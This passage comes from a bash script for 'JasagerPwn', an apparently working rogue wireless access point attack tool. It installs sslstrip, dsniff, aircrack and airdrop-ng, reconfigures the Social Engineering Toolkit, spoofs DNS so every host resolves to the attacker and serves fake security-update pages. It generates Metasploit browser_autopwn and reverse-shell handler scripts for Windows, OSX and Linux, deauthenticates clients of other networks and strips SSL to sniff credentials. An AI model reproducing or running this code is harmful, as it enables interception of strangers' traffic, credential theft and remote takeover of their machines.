if [ "$IFcheck" != "$IFACE" ]; then
echo -e "\e[01;31m[!]\e[00m FATAL: Cannot Locate $IFACE..." && exit 0
fi
#----------------------------------------------------------------------------
#=========================-Begin STDOUT-=====================================
clear
echo
echo
#Startup banner
cat "$SPWD/src/resources/banner"
echo
echo -e "\e[01;32m[>]\e[00m Stopping services and programs..."
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing 'DHCP3 Service'" -e "/etc/init.d/dhcp3-server stop"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing Sniffing Apps" -e "killall -9 dhcpd3 airbase-ng ettercap sslstrip driftnet urlsnarf"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DNS Spoof" -e "killall -9 dnsspoof"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing WICD" -e "killall -9 wicd && killall -9 wicd-client"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing WICD" -e "/etc/init.d/wicd stop"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing WICD" -e "killall -9 dhclient"
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing WICD" -e "killall -9 dhclient3"
resolvIDs=`ps aux | grep "bash /tmp/resolv" | grep -v grep | awk '{ print $2 }'`
xterm -geometry 75x8+100+0 -T "JasagerPwn v$version - Killing DriftNET" -e "kill `echo $resolvIDs | awk '{ print $1 }'` ; kill `echo $resolvIDs | awk '{ print $2 }'` ; kill `echo $resolvIDs | awk '{ print $3 }'`" &
echo -e "\e[01;32m[>]\e[00m Checking Environment..."
#Check for root
if [ "$(id -u)" != "0" ]; then echo -e "\e[01;31m[!]\e[00m FATAL: Not Root.." && cleanup ; fi
#Dependencies checks
dhcp3check=`dpkg -l | grep dhcp3-server | awk '{print $2}' | head -n 1`
apache2check=`dpkg -l | grep apache2 | awk '{print $2}' | head -n 1`
apache2phpcheck=`dpkg -l | grep "libapache2-mod-php5" | awk '{print $2}' | head -n 1`
dsniffcheck=`dpkg -l | grep dsniff | awk '{print $2}' | head -n 1`
php5check=`dpkg -l | grep php5 | awk '{print $2}' | head -n 1`
phpPearcheck=`dpkg -l | grep php-pear | awk '{print $2}' | head -n 1`
macchangerCheck=`dpkg -l | grep macchanger | awk '{print $2}' | head -n 1`
aircrackCheck=`dpkg -l | grep aircrack | awk '{print $2}' | head -n 1`
sleep 1
t="0"
if [ ! $dhcp3check ] || [ ! $apache2check ] || [ ! $apache2phpcheck ] || [ ! $dsniffcheck ] || [ ! $phpPearcheck ] ||[ ! $php5check ] || [ ! $macchangerCheck ] || [ ! -e "/usr/bin/airdrop-ng" ] || [ ! -e $SETpath/src/payloadgen/pefile.py ]; then
echo && echo -e "\e[01;31m[!]\e[00m Some dependencies were not found.. We will try to install them now..." && echo
t="1"
elif [ ! -e "/usr/local/bin/sslstrip" ] && [ ! -e "/usr/bin/sslstrip" ] && [ $t -eq 0 ]; then
echo && echo -e "\e[01;31m[!]\e[00m Some dependencies were not found.. We will try to install them now..." && echo
elif [ ! $aircrackCheck ] && [ ! -e "/usr/local/bin/aircrack-ng" ] && [ $t -eq 0 ]; then
echo && echo -e "\e[01;31m[!]\e[00m Some dependencies were not found.. We will try to install them now..." && echo
fi
# dhcp3-server check
if [ ! $dhcp3check ]; then
echo -e "\e[01;31m[!]\e[00m No dhcp3-server was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install dhcp3-server && update-rc.d -f dhcp3-server remove"
fi
# dsniff check
if [ ! $dsniffcheck ]; then
echo -e "\e[01;31m[!]\e[00m No Dsniff suite was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install dsniff"
fi
# apache2 check
if [ ! $apache2check ]; then
echo -e "\e[01;31m[!]\e[00m No apache2 server was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install apache2 && update-rc.d -f apache2 remove"
elif [ ! $apache2phpcheck ]; then
echo -e "\e[01;31m[!]\e[00m No apache2 PHP5 module was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install libapache2-mod-php5"
fi
# php5 check
if [ ! $php5check ]; then
echo -e "\e[01;31m[!]\e[00m No PHP5 was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install php5 php5-curl"
fi
# php5pear check
if [ ! $phpPearcheck ]; then
echo -e "\e[01;31m[!]\e[00m No PHP-Pear was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install php-pear"
fi
# macchanger check
if [ ! $macchangerCheck ]; then
echo -e "\e[01;31m[!]\e[00m No Macchanger was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install macchanger"
fi
# aircrack-ng check
if [ ! $aircrackCheck ] && [ ! -e "/usr/local/bin/aircrack-ng" ]; then
echo -e "\e[01;31m[!]\e[00m No Aircrack-ng suite was detected... Installing.."
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install aircrack-ng"
fi
#sslstrip check
if [ ! -e "/usr/local/bin/sslstrip" ] && [ ! -e "/usr/bin/sslstrip" ]; then
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "sudo apt-get -y install python-twisted-web python-twisted-web2 linux-headers-`uname -r` build-essential gcc g++"
wget -q -P "/tmp" http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.8.tar.gz
tar xf /tmp/sslstrip-0.8.tar.gz -C "/tmp/" && sleep .5
chmod -R +x /tmp/sslstrip-0.8/*.py
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "cd /tmp/sslstrip-0.8/ && python setup.py install"
if [ -d "/tmp/sslstrip-0.8/" ]; then rm -rf /tmp/sslstrip-0.8/ ; fi
fi
#airdrop-ng check
if [ ! -e "/usr/bin/airdrop-ng" ]; then
if [ -e "/pentest/wireless/aircrack-ng/scripts/airdrop-ng/install.py" ]; then
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "apt-get -y install linux-headers-$(uname -r) build-essential make patch autoconf python python-dev make patch gettext autoconf python-psyco subversion tcl8.5 openssl zlib1g zlib1g-dev libssh2-1-dev libssl-dev libnl1 libnl-dev libpcap0.8 libpcap0.8-dev python-scapy cracklib-runtime"
chmod +x /pentest/wireless/aircrack-ng/scripts/airdrop-ng/install.py
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "cd /pentest/wireless/aircrack-ng/scripts/airdrop-ng/ && python install.py" && sleep .5
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "airdrop-ng -u OUIUPDATE"
else
echo -e "\e[01;31m[!]\e[00m Cant Find Airdrop-ng Installer in /pentest.. Ill get it for you now.."
mkdir /pentest/wireless/
wget -q -P "/pentest/wireless/" http://info-s3curity.com/jasagerpwn/airdrop-ng.tar.gz
tar xf "/pentest/wireless/airdrop-ng.tar.gz"
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "apt-get -y install linux-headers-$(uname -r) build-essential make patch autoconf python python-dev make patch gettext autoconf python-psyco subversion tcl8.5 openssl zlib1g zlib1g-dev libssh2-1-dev libssl-dev libnl1 libnl-dev libpcap0.8 libpcap0.8-dev python-scapy cracklib-runtime"
chmod +x /pentest/wireless/airdrop-ng/install.py
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "cd /pentest/wireless/airdrop-ng/ && python install.py" && sleep .5
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Dependencies Installation" -e "cd airdrop-ng -u OUIUPDATE"
rm -f "/pentest/wireless/airdrop-ng.tar.gz"
fi
fi
#metasploit check
if [ ! -e "$msfpath/msfconsole" ]; then echo && echo -e "\e[01;31m[!]\e[00m ERROR: Metasploit wasnt found in: "$msfpath"" && echo && cleanup; fi
#SET check
if [ ! -e "$SETpath/set-automate" ]; then
echo && echo -e "\e[01;31m[!]\e[00m ERROR: Social Engineering Toolkit wasnt found in: "$SETpath"" && echo && cleanup
else
# python pefile module - thanks redmeat_uk
if [ ! -e "$SETpath/src/payloadgen/pefile.py" ]; then
echo -e "\e[01;31m[!]\e[00m No Python PEfile module was detected... Installing.."
if [ -e "/tmp/pefile-1.2.10-102.tar.gz" ]; then rm -rf /tmp/pefile-1.2.10-102* ; fi
wget -q -P "/tmp" http://pefile.googlecode.com/files/pefile-1.2.10-102.tar.gz
tar xf /tmp/pefile-1.2.10-102.tar.gz -C /tmp/
mv /tmp/pefile-1.2.10-102/pefile.py $SETpath/src/payloadgen/
chmod +x $SETpath/src/payloadgen/pefile.py
if [ -e "$SETpath/src/payloadgen/pefile.py" ]; then
echo -e "\e[01;31m[!]\e[00m Installation Complete!"
elif [ ! -e "$SETpath/src/payloadgen/pefile.py" ]; then
echo -e "\e[01;31m[!]\e[00m Installation Failed!"
fi
if [ -d "/tmp/pefile-1.2.10-102/" ]; then rm -rf /tmp/pefile-1.2.10-102/ ; fi
fi
fi
#Put up monitor interface
monAttempts="0"
while [ ! $moncheck ];
do
if [ $monAttempts -ge "3" ]; then echo -e "\e[01;31m[!]\e[00m FATAL: Couldn't Start $MIFACE" && cleanup; fi
moncheck=`ifconfig | grep $MIFACE | awk '{print $1}' | cut -b 4`
xterm -geometry 75x10+464+446 -bg black -fg green -T "JasagerPwn v$version - Start $MIFACE" -e "airmon-ng start $WIFACE"
moncheck=`ifconfig | grep $MIFACE | awk '{print $1}' | cut -b 4`
monAttempts=$(($monAttempts+1))
done
#copy over DNS compatable persistence script for backdoor
if [ ! -e "$msfpath/scripts/meterpreter/persistence_dns.rb" ]; then cp src/resources/persistence_dns.rb "$msfpath/scripts/meterpreter/" ; fi
#cleanup www folders
if [ -d "$Gwww/" ] ; then rm -rf $Gwww/ ; fi
if [ -d "$Jwww/" ] ; then rm -rf $Jwww/ ; fi
if [ -d "$Fwww/" ] ; then rm -rf $Fwww/ ; fi
sleep .5 #Copy over new WWW sites
if [ ! -d "$Jwww" ]; then mkdir $Jwww/ ; fi
if [ ! -d "$Gwww" ]; then mkdir $Gwww/ ; fi
if [ ! -d "$Fwww" ]; then mkdir $Fwww/ ; fi
#backup old default index.html
if [ -e /var/www/index.htm ]; then
mv /var/www/index.htm /var/www/index.htm.OLD
elif [ -e /var/www/index.html ]; then
mv /var/www/index.html /var/www/index.html.OLD
fi
#remove old version stuff
if [ -d "/var/www/pyjasager/" ] ; then rm -rf "/var/www/pyjasager/" ; fi
if [ -e "/etc/apache2/sites-available/pyjasager" ]; then rm -f "/etc/apache2/sites-available/pyjasager" ; fi
#Check for updates
if [ ! $googleRev ]; then
echo -n
elif [ $googleRev -gt $rev ]; then
echo
echo -e "\e[01;31m[!]\e[00m UPDATE: There is an update available!!! Run ./jasagerPwn -u"
echo
elif [ $googleRev -lt $rev ]; then
echo
echo -e "\e[01;31m[!]\e[00m UPDATE: JasagerPwn Revisions have been RESET, Please Re-Download It!"
echo -e "\e[01;31m[!]\e[00m Command: svn checkout http://jasagerpwn.googlecode.com/svn/trunk/ jasager-pwn"
echo
fi
echo -e "\e[01;32m[>]\e[00m Creating scripts..."
#Dynamic line number varaibles incase set_config changes in future updates, which it does and will.
SETapache=`cat $SETpath/config/set_config | grep -n "APACHE_SERVER" | awk -F: '{print $1}'`
SETapacheDIR=`cat $SETpath/config/set_config | grep -n "APACHE_DIRECT" | awk -F: '{print $1}'`
SETredirect=`cat $SETpath/config/set_config | grep -n "AUTO_REDIRECT" | awk -F: '{print $1}'`
SETmetscript=`cat $SETpath/config/set_config | grep -n "METERPRETER_MULTI_SCRIPT" | awk -F: '{print $1}'`
SETrepeater=`cat $SETpath/config/set_config | grep -n "JAVA_REPEATER=OFF" | awk -F: '{print $1}'`
#SET_CONFIG Text Parsing Variables - for javapwn
APACHESVR=`cat $SETpath/config/set_config | grep "APACHE_SERVER=ON"`
APACHEDIR=`cat $SETpath/config/set_config | grep "/var/www/javapwn"`
meterpreterS=`cat $SETpath/config/set_config | grep "METERPRETER_MULTI_SCRIPT=ON"`
AREDIRECT=`cat $SETpath/config/set_config | grep "AUTO_REDIRECT=OFF"`
JREPEATER=`cat $SETpath/config/set_config | grep "JAVA_REPEATER=ON"`
#backup orignal SET config
if [ ! -e "$SETpath/config/set_config.ORIGINAL" ]; then
cp -f $SETpath/config/set_config $SETpath/config/set_config.ORIGINAL
fi
#Customize SET config to how we want it..
if [ ! "$APACHESVR" ]; then
sed ''${SETapache}'s!APACHE_SERVER=OFF!APACHE_SERVER=ON!g' $SETpath/config/set_config > $SETpath/config/set_config2
elif [ "$APACHESVR" ]; then
mv $SETpath/config/set_config $SETpath/config/set_config2
fi
sleep 1
if [ ! "$APACHEDIR" ]; then
sed ''${SETapacheDIR}'s!APACHE_DIRECTORY=/var/www!APACHE_DIRECTORY=/var/www/google!g' $SETpath/config/set_config2 > $SETpath/config/set_config3
elif [ "$APACHEDIR" ]; then
mv $SETpath/config/set_config2 $SETpath/config/set_config3
fi
sleep 1
if [ ! "${AREDIRECT}" ]; then
sed ''${SETredirect}'s!AUTO_REDIRECT=ON!AUTO_REDIRECT=OFF!g' $SETpath/config/set_config3 > $SETpath/config/set_config4
elif [ "$AREDIRECT" ]; then
mv $SETpath/config/set_config3 $SETpath/config/set_config4
fi
sleep 1
if [ ! "${JREPEATER}" ]; then
sed ''${SETrepeater}'s!JAVA_REPEATER=OFF!JAVA_REPEATER=ON!g' $SETpath/config/set_config4 > $SETpath/config/set_config5
elif [ "$JREPEATER" ]; then
mv $SETpath/config/set_config4 $SETpath/config/set_config5
fi
sleep 1
if [ "$autoMetScript" -eq "1" ] && [ ! "$JREPEATER" ]; then
sed ''${SETmetscript}'s!METERPRETER_MULTI_SCRIPT=OFF!METERPRETER_MULTI_SCRIPT=ON!g' $SETpath/config/set_config5 > $SETpath/config/set_config6
elif [ "$autoMetScript" -eq "1" ] && [ "$JREPEATER" ]; then
sed ''${SETmetscript}'s!METERPRETER_MULTI_SCRIPT=OFF!METERPRETER_MULTI_SCRIPT=ON!g' $SETpath/config/set_config4 > $SETpath/config/set_config5
fi
sleep 1
#move config to right spot
if [ -e "$SETpath/config/set_config6" ]; then
mv $SETpath/config/set_config6 $SETpath/config/set_config
fi
if [ "$autoMetScript" -eq "0" ] && [ -e "$SETpath/config/set_config5" ] ; then
mv $SETpath/config/set_config5 $SETpath/config/set_config
elif [ "$autoMetScript" -eq "1" ] && [ -e "$SETpath/config/set_config5" ] ; then
mv $SETpath/config/set_config5 $SETpath/config/set_config
elif [ "$autoMetScript" -eq "1" ] && [ -e "$SETpath/config/set_config6" ] ; then
mv $SETpath/config/set_config6 $SETpath/config/set_config
fi
sleep 3
#make sure we clean up
if [ -e "$SETpath/config/set_config2" ]; then rm $SETpath/config/set_config2 ; fi
if [ -e "$SETpath/config/set_config3" ]; then rm $SETpath/config/set_config3 ; fi
if [ -e "$SETpath/config/set_config4" ]; then rm $SETpath/config/set_config4 ; fi
if [ -e "$SETpath/config/set_config5" ]; then rm $SETpath/config/set_config5 ; fi
if [ -e "$SETpath/config/set_config6" ]; then rm $SETpath/config/set_config6 ; fi
#Make loop script to isnure our DNS and IP doesnt screw us if we change networks.
cp /etc/resolv.conf /etc/resolv.conf.ORIGINAL
echo "while true ; do echo "nameserver 4.2.2.2" > /etc/resolv.conf && sleep 30 ; done &" > /tmp/resolv.sh
chmod +x /tmp/resolv.sh
bash /tmp/resolv.sh &
dnsID2=`echo $!`
#Parse wwwFakeUpdate pages with our IP for java applet in fake update attack
nixLine=`cat $SPWD/src/wwwFakeUpdate/ubuntu/index.html | grep -n REPLACEMEAPPLET | awk -F: '{ print $1 }'`
nixFakeUpdate=`cat $SPWD/src/wwwFakeUpdate/ubuntu/index.html | grep REPLACEMEAPPLET`
osxLine=`cat $SPWD/src/wwwFakeUpdate/osx/index.html | grep -n REPLACEMEAPPLET | awk -F: '{ print $1 }'`
osxFakeUpdate=`cat $SPWD/src/wwwFakeUpdate/osx/index.html | grep REPLACEMEAPPLET`
if [ "$nixFakeUpdate" ]; then
sed ''${nixLine}'s!http://REPLACEMEAPPLET/ubuntu/nix.bin!http://'$fonIP'/ubuntu/nix.bin!g' $SPWD/src/wwwFakeUpdate/ubuntu/index.html > $SPWD/src/wwwFakeUpdate/ubuntu/index.html2
sleep .5 && mv $SPWD/src/wwwFakeUpdate/ubuntu/index.html2 $SPWD/src/wwwFakeUpdate/ubuntu/index.html
fi
if [ "$osxFakeUpdate" ]; then
sed ''${osxLine}'s!http://REPLACEMEAPPLET/osx/osx.bin!http://'$fonIP'/osx/osx.bin!g' $SPWD/src/wwwFakeUpdate/osx/index.html > $SPWD/src/wwwFakeUpdate/osx/index.html2
sleep .5 && mv $SPWD/src/wwwFakeUpdate/osx/index.html2 $SPWD/src/wwwFakeUpdate/osx/index.html
fi
if [ -e "$SPWD/src/wwwFakeUpdate/ubuntu/index.html2" ]; then rm $SPWD/src/wwwFakeUpdate/ubuntu/index.html2 ; fi
if [ -e "$SPWD/src/wwwFakeUpdate/osx/index.html2" ]; then rm $SPWD/src/wwwFakeUpdate/osx/index.html2 ; fi
#backup original SET templates
if [ -e "$SETpath/src/html/templates/java/index.template" ]; then
mv "$SETpath/src/html/templates/java/index.template" "$SETpath/src/html/templates/java/index.template.ORIGINAL"
cp -rf src/wwwJava/* $SETpath/src/html/templates/java/
else
cp -rf src/wwwJava/* $SETpath/src/html/templates/java/
fi
if [ -e "$SETpath/src/html/templates/google/index.template" ]; then
mv "$SETpath/src/html/templates/google/index.template" "$SETpath/src/html/templates/google/index.template.ORIGINAL"
cp -rf src/wwwGoogle/* $SETpath/src/html/templates/google/
else
cp -rf src/wwwGoogle/* $SETpath/src/html/templates/google/
fi
#Copy over our web templates
cp -rf src/wwwGoogle/* $Gwww/ # google page
cp -rf src/wwwJava/* $Jwww/ # java required page
cp -rf src/wwwFakeUpdate/* $Fwww/ #FakeUpdate Page
#Change ownership of web directories
chown -R www-data:www-data /var/www/
#Airdrop-ng deauth configuration / rules
if [ -e "/tmp/deauth.conf" ] ; then rm "/tmp/deauth.conf" ; fi
echo "# Jasager - deauth.conf v$version
a/$ourAPmac|any
a/00:00:00:00:00:00|any
d/any|any" > /tmp/deauth.conf
#Add our wifi gateway if needed
wifiMAC=`ifconfig $IFACE | grep "HWaddr" | awk '{print $5}' | tr "[a-z]" "[A-Z]"`
if [ $WiFiMODE -eq "1" ]; then
newIFACEmac=`iwconfig $IFACE | grep "Access Point" | awk '{print $6}'`
echo "a/$newIFACEmac|$wifiMAC" >> /tmp/deauth.conf
fi
# DNS Hosts File. Everything to us.
if [ -e /tmp/jasagerpwn.dns ]; then rm -f /tmp/jasagerpwn.dns; fi
echo "$fonIP *" > /tmp/jasagerpwn.dns
#Vhosts javapwn
vhost="/etc/apache2/sites-available/javapwn"
if [ -e "$vhost" ] ; then rm "$vhost"; fi
echo "<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot $Jwww
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory $Jwww>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog /var/log/apache2/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
ErrorDocument 403 /
ErrorDocument 404 /
</VirtualHost>" >> $vhost
#Vhosts google
vhost2="/etc/apache2/sites-available/google"
if [ -e "$vhost2" ] ; then rm "$vhost2"; fi
echo "<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot $Gwww
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory $Gwww>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog /var/log/apache2/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
ErrorDocument 403 /
ErrorDocument 404 /
</VirtualHost>" >> $vhost2
#Vhosts fakeupdate
vhost3="/etc/apache2/sites-available/fakeupdate"
if [ -e "$vhost3" ] ; then rm "$vhost3"; fi
echo "<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot $Fwww
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory $Fwww>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
ErrorLog /var/log/apache2/error.log
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn
CustomLog /var/log/apache2/access.log combined
Alias /doc/ "/usr/share/doc/"
<Directory "/usr/share/doc/">
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>
ErrorDocument 403 /index.php
ErrorDocument 404 /index.php
</VirtualHost>" >> $vhost3
#SET automate scripts, can be TOUCHY.
#run as template rather then imported
if [ -e "/tmp/auto-java2" ] ; then rm "/tmp/auto-java2" ; fi
echo -e "\n2\n1\n1\n1\n2\n16" > /tmp/auto-java2
#run as template rather then imported
if [ -e "/tmp/auto-google2" ] ; then rm "/tmp/auto-google2" ; fi
echo -e "\n2\n1\n1\n3\n2\n16" > /tmp/auto-google2
if [ $autoMetScript -eq 1 ]; then
metScript
#Metasploit rc w/ auto script BP
if [ -e "/tmp/msfrcBP" ] ; then rm "/tmp/msfrcBP" ; fi
echo -e "use auxiliary/server/browser_autopwn
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $fonIP
set SRVPORT 80
set SRVHOST $fonIP
set URIPATH /
set ExitOnSession false
set InitialAutorunScript multiscript -rc $SETpath/src/program_junk/multi_meter.file
run -j" > /tmp/msfrcBP
#Metasploit rc auto script FU
if [ -e "/tmp/msfrcFU" ] ; then rm "/tmp/msfrcFU" ; fi
echo -e "use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $fonIP
set LPORT $winPORT
set InitialAutorunScript multiscript -rc $SETpath/src/program_junk/multi_meter.file
set ExitOnSession false
exploit -j
set PAYLOAD osx/x86/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT $osxPORT
set InitialAutorunScript multiscript -rc $SETpath/src/program_junk/multi_meter.file
set ExitOnSession false
exploit -j
set PAYLOAD linux/x86/shell/reverse_tcp
set LHOST 0.0.0.0
set LPORT $nixPORT
set InitialAutorunScript multiscript -rc $SETpath/src/program_junk/multi_meter.file
set ExitOnSession false
exploit -j" > /tmp/msfrcFU
elif [ $autoMetScript -eq 0 ]; then
#Metasploit rc no auto script BP
if [ -e "/tmp/msfrcBP" ] ; then rm "/tmp/msfrcBP" ; fi
echo -e "use auxiliary/server/browser_autopwn
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $fonIP
set SRVPORT 80
set SRVHOST $fonIP
set URIPATH /
set ExitOnSession false
run -j" > /tmp/msfrcBP
#Metasploit rc no auto script FakeUpdate
if [ -e "/tmp/msfrcFU" ] ; then rm "/tmp/msfrcFU" ; fi
echo -e "use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $fonIP
set LPORT $winPORT
set ExitOnSession false
exploit -j
set PAYLOAD osx/x86/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT $osxPORT
set ExitOnSession false
exploit -j
set PAYLOAD linux/x86/shell/reverse_tcp
set LHOST 0.0.0.0
set LPORT $nixPORT
set ExitOnSession false
exploit -j" > /tmp/msfrcFU
fi
sleep 1 && echo -e "\e[01;32m[>]\e[00m Enabling ipv4 Forwarding..."
xterm -geometry 0x0+0+0 -e "modprobe tun" &
echo "1" > /proc/sys/net/ipv4/ip_forward
#tail messages for DHCP info
xterm -geometry 75x16+0+509 -bg black -fg red -T "[JasagerPwn-DHCP] v$version" -e "tail -f /var/log/messages | grep DHCP" &
messageID=`echo $!`
echo -e "\e[01;32m[>]\e[00m Starting up DHCP3..."
xterm -geometry 75x9+0+474 -bg black -fg green -T "Starting DHCP3 Server" -e "/etc/init.d/dhcp3-server start" &
echo -e "\e[01;32m[>]\e[00m Loading URL Snarf/Driftnet..."
xterm -geometry 0x0+0+0 -e "driftnet -v -s -i $FONIFACE" &
xterm -geometry 75x24+464+405 -bg black -fg green -T "[JasagerPwn-DSniff] v$version" -e "dsniff -i $FONIFACE" &
dsniffID=`echo $!`
xterm -geometry 75x37+0+0 -bg black -fg green -T "[JasagerPwn-URLSnarf] v$version" -e "urlsnarf -i $FONIFACE" &
echo -e "\e[01;32m[>]\e[00m Setting up IP Tables..."
IPTABLES
echo -e "\e[01;36m[~]\e[00m leg3nd's JasagerPwn v$version Rev$revision Started! More @ www.info-s3curity.com"
echo -e "\e[01;36m[~]\e[00m ALL Attacks are now operating system agnostic OSX/MS/Linux!!"
#MAIN OPTIONS FOR AP ATTACKS
while true
do
echo
echo
ifconfig $FONIFACE $fonIP
ourIP=`ifconfig $FONIFACE | awk '/inet addr/ {split ($2,A,":"); print A[2]}'`
echo -e "\e[01;31m[+][-----------------------------------------------------------------][+]\e[00m"
echo -e "\e[01;31m[+][==========================-Main Menu-============================][+]\e[00m"
echo -e "\e[01;31m[+][-----------------------------------------------------------------][+]\e[00m"
#echo -e "\e[01;32m[!]\e[00m Press [S]niff, [F]akeUpdate, [D]eAuth, [B]rowserPwn, [J]ava Attack, e[X]it "
if [ $sniffing -eq 0 ] && [ $browserpwn -eq 0 ] && [ $fakeupdate -eq 0 ] && [ $javaATK -eq 0 ]; then
echo -e "\e[01;36m [*] Attack Status: Idle..\e[00m"
elif [ $sniffing -eq 1 ]; then
echo -e "\e[01;31m [*] Attack Status: SSLstrip & Sniffing\e[00m"
elif [ $browserpwn -eq 1 ]; then
echo -e "\e[01;31m [*] Attack Status: MSF Browser-AutoPwn\e[00m"
elif [ $fakeupdate -eq 1 ]; then
echo -e "\e[01;31m [*] Attack Status: MSF Fake Update\e[00m"
elif [ $javaATK -eq 1 ]; then
echo -e "\e[01;31m [*] Attack Status: SET Java Applet\e[00m"
fi
echo -e "\e[01;32m[-]\e[00m [1][S] = Sniff The APs Network."
echo -e "\e[01;32m[-]\e[00m [2][F] = Redirect LAN to Fake Security Update Page."
echo -e "\e[01;32m[-]\e[00m [3][B] = Redirect LAN to Metasploit BrowserAutopwn."
echo -e "\e[01;32m[-]\e[00m [4][J] = Redirect LAN to Java Applet Page."
echo -e "\e[01;32m[-]\e[00m [5][D] = De-Authorize Clients on other APs."
echo -e "\e[01;32m[-]\e[00m [6][N] = Adjust Script & Network Settings"
echo -e "\e[01;32m[-]\e[00m [7][X] = Exit JasagerPwn Script"
echo -n -e "\e[01;31m [?] Choose an attack for AP:\e[00m "
read -e CONFIRM3
echo
case $CONFIRM3 in
s|S|sniff|Sniff|1)
if [ $browserpwn -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with browserPwn. IPtables Conflict."
elif [ $javaATK -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with Java Applet Attack. IPtables Conflict."
elif [ $fakeupdate -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Cant run with FakeUpdate. IPtables Conflict."
elif [ $sniffing -eq 0 ]; then
iptables -t nat -A PREROUTING --in-interface $FONIFACE -p tcp --destination-port 80 -j REDIRECT --to-ports $sslport
xterm -geometry 75x3+1-25 -bg black -fg green -e "sslstrip -l $sslport && sleep 3" &
if [ -e sslstrip.log ]; then
xterm -geometry 75x24+464+65 -bg black -fg green -T "SSLStrip Sniffing" -e "tail -f sslstrip.log" &
TAILPID=`echo $!`
else
touch sslstrip.log
xterm -geometry 75x24+464+65 -bg black -fg green -T "SSLStrip Sniffing" -e "tail -f sslstrip.log" &
TAILPID=`echo $!`
fi
echo -e "\e[01;33m[!]\e[00m\e[00m Attack Started: SSLStripping / Sniffing"
wasSniffing="1"
sniffing="1"
elif [ $sniffing -eq 1 ]; then
echo -e "\e[01;31m[!]\e[00m Error: Your Already Sniffing!!"
fi
;;
